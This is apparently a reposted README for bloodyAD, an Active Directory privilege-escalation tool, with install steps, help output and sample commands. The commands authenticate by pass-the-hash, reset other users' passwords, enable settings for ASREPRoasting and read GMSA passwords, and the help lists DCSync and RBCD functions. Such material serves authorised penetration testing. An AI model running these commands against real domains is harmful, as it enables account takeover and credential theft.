bloodyAD : Active Directory Privilege Escalation Framework

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bloodyAD.py is an Active Directory privilege escalation swiss army knife

Description

This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc.

bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.

It is designed to be used transparently with a SOCKS proxy.

Installation

First if you run it on Linux, you must have libkrb5-dev installed on your OS in order for kerberos to work:

Debian/Ubuntu/Kali
apt-get install libkrb5-dev
Centos/RHEL
yum install krb5-devel
Fedora
dnf install krb5-devel
Arch Linux
pacman -S krb5

A python package is available:

pip install bloodyAD
bloodyAD –host 172.16.1.15 -d bloody.local -k changePassword john.doe ‘Password123!’

Or you can clone the repo:

git clone –depth 1 https://github.com/CravateRouge/bloodyAD
pip install .
bloodyAD –host 172.16.1.15 -d bloody.local -k changePassword john.doe ‘Password123!’

Dependencies

  • Python 3
  • DSinternals
  • Impacket
  • Ldap3
  • Gssapi (linux) or Winkerberos (Windows)

Usage

Simple usage:

bloodyAD –host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 changePassword john.doe ‘Password123!’

Note: You can find more examples on https://cravaterouge.github.io/

List of all available functions:

[bloodyAD]$ bloodyAD -h
usage: bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] [–host HOST]
{getObjectAttributes,setAttribute,addUser,addComputer,delObject,changePassword,addObjectToGroup,addForeignObjectToGroup,delObjectFromGroup,getChildObjects,setShadowCredentials,setGenericAll,setOwner,setRbcd,setDCSync,setUserAccountControl}

AD Privesc Swiss Army Knife
Main options:
-h, –help show this help message and exit
-d DOMAIN, –domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, –username USERNAME
Username used for NTLM authentication
-p PASSWORD, –password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, –kerberos
-c CERTIFICATE, –certificate CERTIFICATE
Certificate authentication, e.g: “path/to/key:path/to/cert”
-s, –secure Try to use LDAP over TLS aka LDAPS (default is LDAP)
–host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
Commands:
{getObjectAttributes,setAttribute,addUser,addComputer,delObject,changePassword,addObjectToGroup,addForeignObjectToGroup,delObjectFromGroup,getChildObjects,setShadowCredentials,setGenericAll,setOwner,setRbcd,setDCSync,setUserAccountControl}
Function to call

Useful commands

Get group members
bloodyAD -u john.doe -d bloody -p Password512! –host 192.168.10.2 getObjectAttributes Users member
Get minimum password length policy
bloodyAD -u john.doe -d bloody -p Password512! –host 192.168.10.2 getObjectAttributes ‘DC=bloody,DC=local’ minPwdLength
Get AD functional level
bloodyAD -u Administrator -d bloody -p Password512! –host 192.168.10.2 getObjectAttributes ‘DC=bloody,DC=local’ msDS-Behavior-Version
Get all users of the domain
bloodyAD -u john.doe -d bloody -p Password512! –host 192.168.10.2 getChildObjects ‘DC=bloody,DC=local’ user
Get all computers of the domain
bloodyAD -u john.doe -d bloody -p Password512! –host 192.168.10.2 getChildObjects ‘DC=bloody,DC=local’ computer
Get all containers of the domain
bloodyAD -u john.doe -d bloody -p Password512! –host 192.168.10.2 getChildObjects ‘DC=bloody,DC=local’ container
Enable DONT_REQ_PREAUTH for ASREPRoast
bloodyAD -u Administrator -d bloody -p Password512! –host 192.168.10.2 setUserAccountControl john.doe 0x400000
Disable ACCOUNTDISABLE
bloodyAD -u Administrator -d bloody -p Password512! –host 192.168.10.2 setUserAccountControl john.doe 0x0002 False
Get UserAccountControl flags
bloodyAD -u Administrator -d bloody -p Password512! –host 192.168.10.2 getObjectAttributes john.doe userAccountControl
Read GMSA account password
bloodyAD -u john.doe -d bloody -p Password512 –host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
Read quota for adding computer objects to domain
bloodyAD -u john.doe -d bloody -p Password512! –host 192.168.10.2 getObjectAttributes ‘DC=bloody,DC=local’ ms-DS-MachineAccountQuota

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